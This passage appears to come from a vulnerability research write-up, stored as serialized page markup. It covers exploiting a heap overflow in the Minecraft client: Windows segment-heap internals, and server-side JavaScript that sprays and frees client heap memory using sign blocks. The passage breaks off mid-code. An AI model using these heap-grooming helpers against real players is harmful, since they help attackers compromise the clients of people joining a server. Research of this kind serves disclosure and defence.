",{"type":26,"tag":83,"props":12097,"children":12099},{"className":12098},[],[12100],{"type":32,"value":12101},"HEAP_VS_CHUNK_HEADER",{"type":32,"value":12103},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":26,"tag":11933,"props":12105,"children":12106},{},[],{"type":26,"tag":39,"props":12108,"children":12109},{},[12110],{"type":32,"value":12111},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":26,"tag":39,"props":12113,"children":12114},{},[12115,12117,12124],{"type":32,"value":12116},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":26,"tag":163,"props":12118,"children":12121},{"href":12119,"rel":12120},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[167],[12122],{"type":32,"value":12123},"technique published",{"type":32,"value":12125}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":26,"tag":39,"props":12127,"children":12128},{},[12129],{"type":32,"value":12130},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":26,"tag":39,"props":12132,"children":12133},{},[12134],{"type":32,"value":12135},"In either case, we needed a way to spray the heap before we could proceed.",{"type":26,"tag":607,"props":12137,"children":12139},{"id":12138},"finding-a-way-to-spray-the-heap",[12140],{"type":32,"value":12141},"Finding a Way to Spray the Heap",{"type":26,"tag":39,"props":12143,"children":12144},{},[12145],{"type":32,"value":12146},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":26,"tag":2040,"props":12148,"children":12149},{},[12150,12155,12160,12165],{"type":26,"tag":2044,"props":12151,"children":12152},{},[12153],{"type":32,"value":12154},"The size of the allocation",{"type":26,"tag":2044,"props":12156,"children":12157},{},[12158],{"type":32,"value":12159},"The data written into the allocated buffer",{"type":26,"tag":2044,"props":12161,"children":12162},{},[12163],{"type":32,"value":12164},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":26,"tag":2044,"props":12166,"children":12167},{},[12168],{"type":32,"value":12169},"The number of created objects (preferably unbounded)",{"type":26,"tag":39,"props":12171,"children":12172},{},[12173],{"type":32,"value":12174},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":26,"tag":631,"props":12176,"children":12178},{"id":12177},"minecraft-signs",[12179],{"type":32,"value":12180},"Minecraft Signs",{"type":26,"tag":39,"props":12182,"children":12183},{},[12184],{"type":32,"value":12185},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":26,"tag":39,"props":12187,"children":12188},{},[12189,12191,12197],{"type":32,"value":12190},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":26,"tag":83,"props":12192,"children":12194},{"className":12193},[],[12195],{"type":32,"value":12196},"std::string",{"type":32,"value":180},{"type":26,"tag":39,"props":12199,"children":12200},{},[12201,12203,12208],{"type":32,"value":12202},"In Microsoft’s C++ implementation, ",{"type":26,"tag":83,"props":12204,"children":12206},{"className":12205},[],[12207],{"type":32,"value":12196},{"type":32,"value":12209}," is structured roughly as follows:",{"type":26,"tag":207,"props":12211,"children":12213},{"code":12212,"language":2255,"meta":8,"className":9574,"style":8},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[12214],{"type":26,"tag":83,"props":12215,"children":12216},{"__ignoreMap":8},[12217,12230,12237,12249,12266,12291,12299,12312,12324],{"type":26,"tag":217,"props":12218,"children":12219},{"class":7028,"line":7029},[12220,12225],{"type":26,"tag":217,"props":12221,"children":12222},{"style":7154},[12223],{"type":32,"value":12224},"struct",{"type":26,"tag":217,"props":12226,"children":12227},{"style":7048},[12228],{"type":32,"value":12229}," string\n",{"type":26,"tag":217,"props":12231,"children":12232},{"class":7028,"line":6770},[12233],{"type":26,"tag":217,"props":12234,"children":12235},{"style":7048},[12236],{"type":32,"value":10033},{"type":26,"tag":217,"props":12238,"children":12239},{"class":7028,"line":6779},[12240,12245],{"type":26,"tag":217,"props":12241,"children":12242},{"style":7154},[12243],{"type":32,"value":12244},"    union",{"type":26,"tag":217,"props":12246,"children":12247},{"style":7048},[12248],{"type":32,"value":8064},{"type":26,"tag":217,"props":12250,"children":12251},{"class":7028,"line":7140},[12252,12257,12261],{"type":26,"tag":217,"props":12253,"children":12254},{"style":7154},[12255],{"type":32,"value":12256},"        char",{"type":26,"tag":217,"props":12258,"children":12259},{"style":7149},[12260],{"type":32,"value":10006},{"type":26,"tag":217,"props":12262,"children":12263},{"style":7048},[12264],{"type":32,"value":12265}," ptr;\n",{"type":26,"tag":217,"props":12267,"children":12268},{"class":7028,"line":7165},[12269,12273,12278,12282,12287],{"type":26,"tag":217,"props":12270,"children":12271},{"style":7154},[12272],{"type":32,"value":12256},{"type":26,"tag":217,"props":12274,"children":12275},{"style":7054},[12276],{"type":32,"value":12277}," buf",{"type":26,"tag":217,"props":12279,"children":12280},{"style":7048},[12281],{"type":32,"value":7127},{"type":26,"tag":217,"props":12283,"children":12284},{"style":7130},[12285],{"type":32,"value":12286},"16",{"type":26,"tag":217,"props":12288,"children":12289},{"style":7048},[12290],{"type":32,"value":10652},{"type":26,"tag":217,"props":12292,"children":12293},{"class":7028,"line":7178},[12294],{"type":26,"tag":217,"props":12295,"children":12296},{"style":7048},[12297],{"type":32,"value":12298},"    };\n",{"type":26,"tag":217,"props":12300,"children":12301},{"class":7028,"line":7389},[12302,12307],{"type":26,"tag":217,"props":12303,"children":12304},{"style":7154},[12305],{"type":32,"value":12306},"    size_t",{"type":26,"tag":217,"props":12308,"children":12309},{"style":7048},[12310],{"type":32,"value":12311}," size;\n",{"type":26,"tag":217,"props":12313,"children":12314},{"class":7028,"line":7406},[12315,12319],{"type":26,"tag":217,"props":12316,"children":12317},{"style":7154},[12318],{"type":32,"value":12306},{"type":26,"tag":217,"props":12320,"children":12321},{"style":7048},[12322],{"type":32,"value":12323}," capacity;\n",{"type":26,"tag":217,"props":12325,"children":12326},{"class":7028,"line":7439},[12327],{"type":26,"tag":217,"props":12328,"children":12329},{"style":7048},[12330],{"type":32,"value":12331},"};\n",{"type":26,"tag":39,"props":12333,"children":12334},{},[12335,12337,12343,12345,12351],{"type":32,"value":12336},"We are primarily interested in the union: ",{"type":26,"tag":83,"props":12338,"children":12340},{"className":12339},[],[12341],{"type":32,"value":12342},"buf",{"type":32,"value":12344}," is used when the string fits within 16 bytes, while ",{"type":26,"tag":83,"props":12346,"children":12348},{"className":12347},[],[12349],{"type":32,"value":12350},"ptr",{"type":32,"value":12352}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":26,"tag":39,"props":12354,"children":12355},{},[12356],{"type":32,"value":12357},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":26,"tag":39,"props":12359,"children":12360},{},[12361],{"type":32,"value":12362},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":26,"tag":631,"props":12364,"children":12366},{"id":12365},"spraying-with-server-side-scripting",[12367],{"type":32,"value":12368},"Spraying With Server-Side Scripting",{"type":26,"tag":39,"props":12370,"children":12371},{},[12372],{"type":32,"value":12373},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":26,"tag":39,"props":12375,"children":12376},{},[12377,12379,12385,12386,12392],{"type":32,"value":12378},"We wrote ",{"type":26,"tag":83,"props":12380,"children":12382},{"className":12381},[],[12383],{"type":32,"value":12384},"alloc",{"type":32,"value":1308},{"type":26,"tag":83,"props":12387,"children":12389},{"className":12388},[],[12390],{"type":32,"value":12391},"free",{"type":32,"value":12393}," helpers that trigger an allocation in the client and free it on demand:",{"type":26,"tag":207,"props":12395,"children":12399},{"code":12396,"language":12397,"meta":8,"className":12398,"style":8},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n","javascript","language-javascript shiki shiki-themes slack-dark",[12400],{"type":26,"tag":83,"props":12401,"children":12402},{"__ignoreMap":8},[12403,12411,12454,12490,12538,12550,12557,12564,12627,12654,12669,12676,12683,12713,12729,12736,12743,12751,12775,12826,12837,12844,12851,12888,12915,12922,12951,12981,12989,13016],{"type":26,"tag":217,"props":12404,"children":12405},{"class":7028,"line":7029},[12406],{"type":26,"tag":217,"props":12407,"children":12408},{"style":7033},[12409],{"type":32,"value":12410},"// Allocate sign text in the client\n",{"type":26,"tag":217,"props":12412,"children":12413},{"class":7028,"line":6770},[12414,12418,12423,12427,12432,12436,12441,12445,12450],{"type":26,"tag":217,"props":12415,"children":12416},{"style":7154},[12417],{"type":32,"value":7604},{"type":26,"tag":217,"props":12419,"children":12420},{"style":7064},[12421],{"type":32,"value":12422}," alloc",{"type":26,"tag":217,"props":12424,"children":12425},{"style":7048},[12426],{"type":32,"value":1851},{"type":26,"tag":217,"props":12428,"children":12429},{"style":7054},[12430],{"type":32,"value":12431},"size",{"type":26,"tag":217,"props":12433,"children":12434},{"style":7048},[12435],{"type":32,"value":7599},{"type":26,"tag":217,"props":12437,"children":12438},{"style":7054},[12439],{"type":32,"value":12440},"fill",{"type":26,"tag":217,"props":12442,"children":12443},{"style":7149},[12444],{"type":32,"value":267},{"type":26,"tag":217,"props":12446,"children":12447},{"style":7338},[12448],{"type":32,"value":12449},"\"A\"",{"type":26,"tag":217,"props":12451,"children":12452},{"style":7048},[12453],{"type":32,"value":7618},{"type":26,"tag":217,"props":12455,"children":12456},{"class":7028,"line":6779},[12457,12462,12466,12471,12476,12481,12486],{"type":26,"tag":217,"props":12458,"children":12459},{"style":7042},[12460],{"type":32,"value":12461},"    for",{"type":26,"tag":217,"props":12463,"children":12464},{"style":7048},[12465],{"type":32,"value":7051},{"type":26,"tag":217,"props":12467,"children":12468},{"style":7154},[12469],{"type":32,"value":12470},"let",{"type":26,"tag":217,"props":12472,"children":12473},{"style":7054},[12474],{"type":32,"value":12475}," sign",{"type":26,"tag":217,"props":12477,"children":12478},{"style":7154},[12479],{"type":32,"value":12480}," of",{"type":26,"tag":217,"props":12482,"children":12483},{"style":7054},[12484],{"type":32,"value":12485}," signs",{"type":26,"tag":217,"props":12487,"children":12488},{"style":7048},[12489],{"type":32,"value":7618},{"type":26,"tag":217,"props":12491,"children":12492},{"class":7028,"line":7140},[12493,12498,12502,12507,12511,12516,12521,12525,12529,12534],{"type":26,"tag":217,"props":12494,"children":12495},{"style":7042},[12496],{"type":32,"value":12497},"        if",{"type":26,"tag":217,"props":12499,"children":12500},{"style":7048},[12501],{"type":32,"value":7051},{"type":26,"tag":217,"props":12503,"children":12504},{"style":7054},[12505],{"type":32,"value":12506},"sign",{"type":26,"tag":217,"props":12508,"children":12509},{"style":7048},[12510],{"type":32,"value":180},{"type":26,"tag":217,"props":12512,"children":12513},{"style":7054},[12514],{"type":32,"value":12515},"allocated",{"type":26,"tag":217,"props":12517,"children":12518},{"style":7149},[12519],{"type":32,"value":12520}," ||",{"type":26,"tag":217,"props":12522,"children":12523},{"style":7054},[12524],{"type":32,"value":12475},{"type":26,"tag":217,"props":12526,"children":12527},{"style":7048},[12528],{"type":32,"value":180},{"type":26,"tag":217,"props":12530,"children":12531},{"style":7054},[12532],{"type":32,"value":12533},"removed",{"type":26,"tag":217,"props":12535,"children":12536},{"style":7048},[12537],{"type":32,"value":7618},{"type":26,"tag":217,"props":12539,"children":12540},{"class":7028,"line":7165},[12541,12546],{"type":26,"tag":217,"props":12542,"children":12543},{"style":7042},[12544],{"type":32,"value":12545},"            continue",{"type":26,"tag":217,"props":12547,"children":12548},{"style":7048},[12549],{"type":32,"value":7162},{"type":26,"tag":217,"props":12551,"children":12552},{"class":7028,"line":7178},[12553],{"type":26,"tag":217,"props":12554,"children":12555},{"style":7048},[12556],{"type":32,"value":8722},{"type":26,"tag":217,"props":12558,"children":12559},{"class":7028,"line":7389},[12560],{"type":26,"tag":217,"props":12561,"children":12562},{"emptyLinePlaceholder":17},[12563],{"type":32,"value":7817},{"type":26,"tag":217,"props":12565,"children":12566},{"class":7028,"line":7406},[12567,12572,12576,12580,12584,12589,12593,12597,12601,12606,12610,12614,12619,12623],{"type":26,"tag":217,"props":12568,"children":12569},{"style":7054},[12570],{"type":32,"value":12571},"        sign",{"type":26,"tag":217,"props":12573,"children":12574},{"style":7048},[12575],{"type":32,"value":180},{"type":26,"tag":217,"props":12577,"children":12578},{"style":7054},[12579],{"type":32,"value":12506},{"type":26,"tag":217,"props":12581,"children":12582},{"style":7048},[12583],{"type":32,"value":180},{"type":26,"tag":217,"props":12585,"children":12586},{"style":7064},[12587],{"type":32,"value":12588},"setText",{"type":26,"tag":217,"props":12590,"children":12591},{"style":7048},[12592],{"type":32,"value":1851},{"type":26,"tag":217,"props":12594,"children":12595},{"style":7054},[12596],{"type":32,"value":12440},{"type":26,"tag":217,"props":12598,"children":12599},{"style":7048},[12600],{"type":32,"value":180},{"type":26,"tag":217,"props":12602,"children":12603},{"style":7064},[12604],{"type":32,"value":12605},"repeat",{"type":26,"tag":217,"props":12607,"children":12608},{"style":7048},[12609],{"type":32,"value":1851},{"type":26,"tag":217,"props":12611,"children":12612},{"style":7054},[12613],{"type":32,"value":12431},{"type":26,"tag":217,"props":12615,"children":12616},{"style":7149},[12617],{"type":32,"value":12618}," -",{"type":26,"tag":217,"props":12620,"children":12621},{"style":7130},[12622],{"type":32,"value":9742},{"type":26,"tag":217,"props":12624,"children":12625},{"style":7048},[12626],{"type":32,"value":8697},{"type":26,"tag":217,"props":12628,"children":12629},{"class":7028,"line":7439},[12630,12634,12638,12642,12646,12650],{"type":26,"tag":217,"props":12631,"children":12632},{"style":7054},[12633],{"type":32,"value":12571},{"type":26,"tag":217,"props":12635,"children":12636},{"style":7048},[12637],{"type":32,"value":180},{"type":26,"tag":217,"props":12639,"children":12640},{"style":7054},[12641],{"type":32,"value":12515},{"type":26,"tag":217,"props":12643,"children":12644},{"style":7149},[12645],{"type":32,"value":8993},{"type":26,"tag":217,"props":12647,"children":12648},{"style":7154},[12649],{"type":32,"value":7902},{"type":26,"tag":217,"props":12651,"children":12652},{"style":7048},[12653],{"type":32,"value":7162},{"type":26,"tag":217,"props":12655,"children":12656},{"class":7028,"line":7487},[12657,12661,12665],{"type":26,"tag":217,"props":12658,"children":12659},{"style":7042},[12660],{"type":32,"value":9737},{"type":26,"tag":217,"props":12662,"children":12663},{"style":7054},[12664],{"type":32,"value":12475},{"type":26,"tag":217,"props":12666,"children":12667},{"style":7048},[12668],{"type":32,"value":7162},{"type":26,"tag":217,"props":12670,"children":12671},{"class":7028,"line":7524},[12672],{"type":26,"tag":217,"props":12673,"children":12674},{"style":7048},[12675],{"type":32,"value":9754},{"type":26,"tag":217,"props":12677,"children":12678},{"class":7028,"line":7553},[12679],{"type":26,"tag":217,"props":12680,"children":12681},{"emptyLinePlaceholder":17},[12682],{"type":32,"value":7817},{"type":26,"tag":217,"props":12684,"children":12685},{"class":7028,"line":7570},[12686,12691,12695,12700,12704,12709],{"type":26,"tag":217,"props":12687,"children":12688},{"style":7054},[12689],{"type":32,"value":12690},"    console",{"type":26,"tag":217,"props":12692,"children":12693},{"style":7048},[12694],{"type":32,"value":180},{"type":26,"tag":217,"props":12696,"children":12697},{"style":7064},[12698],{"type":32,"value":12699},"warn",{"type":26,"tag":217,"props":12701,"children":12702},{"style":7048},[12703],{"type":32,"value":1851},{"type":26,"tag":217,"props":12705,"children":12706},{"style":7338},[12707],{"type":32,"value":12708},"\"No more allocs\"",{"type":26,"tag":217,"props":12710,"children":12711},{"style":7048},[12712],{"type":32,"value":7669},{"type":26,"tag":217,"props":12714,"children":12715},{"class":7028,"line":7621},[12716,12720,12725],{"type":26,"tag":217,"props":12717,"children":12718},{"style":7042},[12719],{"type":32,"value":7171},{"type":26,"tag":217,"props":12721,"children":12722},{"style":7154},[12723],{"type":32,"value":12724}," undefined",{"type":26,"tag":217,"props":12726,"children":12727},{"style":7048},[12728],{"type":32,"value":7162},{"type":26,"tag":217,"props":12730,"children":12731},{"class":7028,"line":7672},[12732],{"type":26,"tag":217,"props":12733,"children":12734},{"style":7048},[12735],{"type":32,"value":7184},{"type":26,"tag":217,"props":12737,"children":12738},{"class":7028,"line":7681},[12739],{"type":26,"tag":217,"props":12740,"children":12741},{"emptyLinePlaceholder":17},[12742],{"type":32,"value":7817},{"type":26,"tag":217,"props":12744,"children":12745},{"class":7028,"line":7754},[12746],{"type":26,"tag":217,"props":12747,"children":12748},{"style":7033},[12749],{"type":32,"value":12750},"// Free an allocated sign in the client\n",{"type":26,"tag":217,"props":12752,"children":12753},{"class":7028,"line":7784},[12754,12758,12763,12767,12771],{"type":26,"tag":217,"props":12755,"children":12756},{"style":7154},[12757],{"type":32,"value":7604},{"type":26,"tag":217,"props":12759,"children":12760},{"style":7064},[12761],{"type":32,"value":12762}," free",{"type":26,"tag":217,"props":12764,"children":12765},{"style":7048},[12766],{"type":32,"value":1851},{"type":26,"tag":217,"props":12768,"children":12769},{"style":7054},[12770],{"type":32,"value":12506},{"type":26,"tag":217,"props":12772,"children":12773},{"style":7048},[12774],{"type":32,"value":7618},{"type":26,"tag":217,"props":12776,"children":12777},{"class":7028,"line":7802},[12778,12782,12786,12790,12794,12798,12802,12806,12810,12814,12818,12822],{"type":26,"tag":217,"props":12779,"children":12780},{"style":7042},[12781],{"type":32,"value":9710},{"type":26,"tag":217,"props":12783,"children":12784},{"style":7048},[12785],{"type":32,"value":7051},{"type":26,"tag":217,"props":12787,"children":12788},{"style":7054},[12789],{"type":32,"value":12506},{"type":26,"tag":217,"props":12791,"children":12792},{"style":7149},[12793],{"type":32,"value":11680},{"type":26,"tag":217,"props":12795,"children":12796},{"style":7154},[12797],{"type":32,"value":12724},{"type":26,"tag":217,"props":12799,"children":12800},{"style":7149},[12801],{"type":32,"value":12520},{"type":26,"tag":217,"props":12803,"children":12804},{"style":7054},[12805],{"type":32,"value":12475},{"type":26,"tag":217,"props":12807,"children":12808},{"style":7048},[12809],{"type":32,"value":180},{"type":26,"tag":217,"props":12811,"children":12812},{"style":7054},[12813],{"type":32,"value":12515},{"type":26,"tag":217,"props":12815,"children":12816},{"style":7149},[12817],{"type":32,"value":11680},{"type":26,"tag":217,"props":12819,"children":12820},{"style":7154},[12821],{"type":32,"value":7795},{"type":26,"tag":217,"props":12823,"children":12824},{"style":7048},[12825],{"type":32,"value":7618},{"type":26,"tag":217,"props":12827,"children":12828},{"class":7028,"line":7811},[12829,12833],{"type":26,"tag":217,"props":12830,"children":12831},{"style":7042},[12832],{"type":32,"value":9737},{"type":26,"tag":217,"props":12834,"children":12835},{"style":7048},[12836],{"type":32,"value":7162},{"type":26,"tag":217,"props":12838,"children":12839},{"class":7028,"line":7820},[12840],{"type":26,"tag":217,"props":12841,"children":12842},{"style":7048},[12843],{"type":32,"value":9754},{"type":26,"tag":217,"props":12845,"children":12846},{"class":7028,"line":7844},[12847],{"type":26,"tag":217,"props":12848,"children":12849},{"emptyLinePlaceholder":17},[12850],{"type":32,"value":7817},{"type":26,"tag":217,"props":12852,"children":12853},{"class":7028,"line":7910},[12854,12859,12863,12867,12871,12875,12879,12884],{"type":26,"tag":217,"props":12855,"children":12856},{"style":7054},[12857],{"type":32,"value":12858},"    sign",{"type":26,"tag":217,"props":12860,"children":12861},{"style":7048},[12862],{"type":32,"value":180},{"type":26,"tag":217,"props":12864,"children":12865},{"style":7054},[12866],{"type":32,"value":12506},{"type":26,"tag":217,"props":12868,"children":12869},{"style":7048},[12870],{"type":32,"value":180},{"type":26,"tag":217,"props":12872,"children":12873},{"style":7064},[12874],{"type":32,"value":12588},{"type":26,"tag":217,"props":12876,"children":12877},{"style":7048},[12878],{"type":32,"value":1851},{"type":26,"tag":217,"props":12880,"children":12881},{"style":7338},[12882],{"type":32,"value":12883},"\"\"",{"type":26,"tag":217,"props":12885,"children":12886},{"style":7048},[12887],{"type":32,"value":7669},{"type":26,"tag":217,"props":12889,"children":12890},{"class":7028,"line":7954},[12891,12895,12899,12903,12907,12911],{"type":26,"tag":217,"props":12892,"children":12893},{"style":7054},[12894],{"type":32,"value":12858},{"type":26,"tag":217,"props":12896,"children":12897},{"style":7048},[12898],{"type":32,"value":180},{"type":26,"tag":217,"props":12900,"children":12901},{"style":7054},[12902],{"type":32,"value":12515},{"type":26,"tag":217,"props":12904,"children":12905},{"style":7149},[12906],{"type":32,"value":8993},{"type":26,"tag":217,"props":12908,"children":12909},{"style":7154},[12910],{"type":32,"value":7795},{"type":26,"tag":217,"props":12912,"children":12913},{"style":7048},[12914],{"type":32,"value":7162},{"type":26,"tag":217,"props":12916,"children":12917},{"class":7028,"line":7985},[12918],{"type":26,"tag":217,"props":12919,"children":12920},{"emptyLinePlaceholder":17},[12921],{"type":32,"value":7817},{"type":26,"tag":217,"props":12923,"children":12924},{"class":7028,"line":8027},[12925,12929,12933,12938,12942,12947],{"type":26,"tag":217,"props":12926,"children":12927},{"style":7054},[12928],{"type":32,"value":12858},{"type":26,"tag":217,"props":12930,"children":12931},{"style":7048},[12932],{"type":32,"value":180},{"type":26,"tag":217,"props":12934,"children":12935},{"style":7054},[12936],{"type":32,"value":12937},"block",{"type":26,"tag":217,"props":12939,"children":12940},{"style":7048},[12941],{"type":32,"value":180},{"type":26,"tag":217,"props":12943,"children":12944},{"style":7064},[12945],{"type":32,"value":12946},"setPermutation",{"type":26,"tag":217,"props":12948,"children":12949},{"style":7048},[12950],{"type":32,"value":10932},{"type":26,"tag":217,"props":12952,"children":12953},{"class":7028,"line":8035},[12954,12959,12963,12968,12972,12977],{"type":26,"tag":217,"props":12955,"children":12956},{"style":7054},[12957],{"type":32,"value":12958},"        BlockPermutation",{"type":26,"tag":217,"props":12960,"children":12961},{"style":7048},[12962],{"type":32,"value":180},{"type":26,"tag":217,"props":12964,"children":12965},{"style":7064},[12966],{"type":32,"value":12967},"resolve",{"type":26,"tag":217,"props":12969,"children":12970},{"style":7048},[12971],{"type":32,"value":1851},{"type":26,"tag":217,"props":12973,"children":12974},{"style":7338},[12975],{"type":32,"value":12976},"\"minecraft:air\"",{"type":26,"tag":217,"props":12978,"children":12979},{"style":7048},[12980],{"type":32,"value":10025},{"type":26,"tag":217,"props":12982,"children":12983},{"class":7028,"line":8067},[12984],{"type":26,"tag":217,"props":12985,"children":12986},{"style":7048},[12987],{"type":32,"value":12988},"    );\n",{"type":26,"tag":217,"props":12990,"children":12991},{"class":7028,"line":8107},[12992,12996,13000,13004,13008,13012],{"type":26,"tag":217,"props":12993,"children":12994},{"style":7054},[12995],{"type":32,"value":12858},{"type":26,"tag":217,"props":12997,"children":12998},{"style":7048},[12999],{"type":32,"value":180},{"type":26,"tag":217,"props":13001,"children":13002},{"style":7054},[13003],{"type":32,"value":12533},{"type":26,"tag":217,"props":13005,"children":13006},{"style":7149},[13007],{"type":32,"value":8993},{"type":26,"tag":217,"props":13009,"children":13010},{"style":7154},[13011],{"type":32,"value":7902},{"type":26,"tag":217,"props":13013,"children":13014},{"style":7048},[13015],{"type":32,"value":7162},{"type":26,"tag":217,"props":13017,"children":13018},{"class":7028,"line":8145},[13019],{"type":26,"tag":217,"props":13020,"children":13021},{"style":7048},[13022],{"type":32,"value":7184},{"type":26,"tag":39,"props":13024,"children":13025},{},[13026,13028,13034],{"type":32,"value":13027},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":26,"tag":83,"props":13029,"children":13031},{"className":13030},[],[13032],{"type":32,"value":13033},"signs",{"type":32,"value":13035}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":26,"tag":207,"props":13037,"children":13039},{"code":13038,"language":12397,"meta":8,"className":12398,"style":8},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[13040],{"type":26,"tag":83,"props":13041,"children":13042},{"__ignoreMap":8},[13043,13058,13065,13081,13098,13105,13169,13232,13239,13257,13265,13286,13312,13337,13357,13387,13400,13408,13416,13438,13472,13479,13501,13517,13533,13549,13562,13570,13577,13584,13591,13598,13614,13629,13636,13695,13754,13761,13776,13784,13813,13842,13850,13858,13877,13904,13911,13918,13933,13940,13947,13954,13962,14019,14032,14041,14049,14112,14125],{"type":26,"tag":217,"props":13044,"children":13045},{"class":7028,"line":7029},[13046,13050,13054],{"type":26,"tag":217,"props":13047,"children":13048},{"style":7154},[13049],{"type":32,"value":12470},{"type":26,"tag":217,"props":13051,"children":13052},{"style":7054},[13053],{"type":32,"value":12485},{"type":26,"tag":217,"props":13055,"children":13056},{"style":7048},[13057],{"type":32,"value":7162},{"type":26,"tag":217,"props":13059,"children":13060},{"class":7028,"line":6770},[13061],{"type":26,"tag":217,"props":13062,"children":13063},{"emptyLinePlaceholder":17},[13064],{"type":32,"value":7817},{"type":26,"tag":217,"props":13066,"children":13067},{"class":7028,"line":6779},[13068,13072,13077],{"type":26,"tag":217,"props":13069,"children":13070},{"style":7154},[13071],{"type":32,"value":7604},{"type":26,"tag":217,"props":13073,"children":13074},{"style":7064},[13075],{"type":32,"value":13076}," create_wall",{"type":26,"tag":217,"props":13078,"children":13079},{"style":7048},[13080],{"type":32,"value":7841},{"type":26,"tag":217,"props":13082,"children":13083},{"class":7028,"line":7140},[13084,13089,13093],{"type":26,"tag":217,"props":13085,"children":13086},{"style":7054},[13087],{"type":32,"value":13088},"    signs",{"type":26,"tag":217,"props":13090,"children":13091},{"style":7149},[13092],{"type":32,"value":8993},{"type":26,"tag":217,"props":13094,"children":13095},{"style":7048},[13096],{"type":32,"value":13097}," [];\n",{"type":26,"tag":217,"props":13099,"children":13100},{"class":7028,"line":7165},[13101],{"type":26,"tag":217,"props":13102,"children":13103},{"emptyLinePlaceholder":17},[13104],{"type":32,"value":7817},{"type":26,"tag":217,"props":13106,"children":13107},{"class":7028,"line":7178},[13108,13112,13116,13120,13125,13129,13133,13138,13143,13148,13153,13157,13161,13165],{"type":26,"tag":217,"props":13109,"children":13110},{"style":7042},[13111],{"type":32,"value":12461},{"type":26,"tag":217,"props":13113,"children":13114},{"style":7048},[13115],{"type":32,"value":7051},{"type":26,"tag":217,"props":13117,"children":13118},{"style":7154},[13119],{"type":32,"value":12470},{"type":26,"tag":217,"props":13121,"children":13122},{"style":7054},[13123],{"type":32,"value":13124}," current_y",{"type":26,"tag":217,"props":13126,"children":13127},{"style":7149},[13128],{"type":32,"value":8993},{"type":26,"tag":217,"props":13130,"children":13131},{"style":7130},[13132],{"type":32,"value":9922},{"type":26,"tag":217,"props":13134,"children":13135},{"style":7048},[13136],{"type":32,"value":13137},"; ",{"type":26,"tag":217,"props":13139,"children":13140},{"style":7054},[13141],{"type":32,"value":13142},"current_y",{"type":26,"tag":217,"props":13144,"children":13145},{"style":7149},[13146],{"type":32,"value":13147}," \u003C",{"type":26,"tag":217,"props":13149,"children":13150},{"style":7054},[13151],{"type":32,"value":13152}," WALL_HEIGHT",{"type":26,"tag":217,"props":13154,"children":13155},{"style":7048},[13156],{"type":32,"value":13137},{"type":26,"tag":217,"props":13158,"children":13159},{"style":7054},[13160],{"type":32,"value":13142},{"type":26,"tag":217,"props":13162,"children":13163},{"style":7149},[13164],{"type":32,"value":11082},{"type":26,"tag":217,"props":13166,"children":13167},{"style":7048},[13168],{"type":32,"value":7618},{"type":26,"tag":217,"props":13170,"children":13171},{"class":7028,"line":7389},[13172,13177,13181,13185,13190,13194,13198,13202,13207,13211,13216,13220,13224,13228],{"type":26,"tag":217,"props":13173,"children":13174},{"style":7042},[13175],{"type":32,"value":13176},"        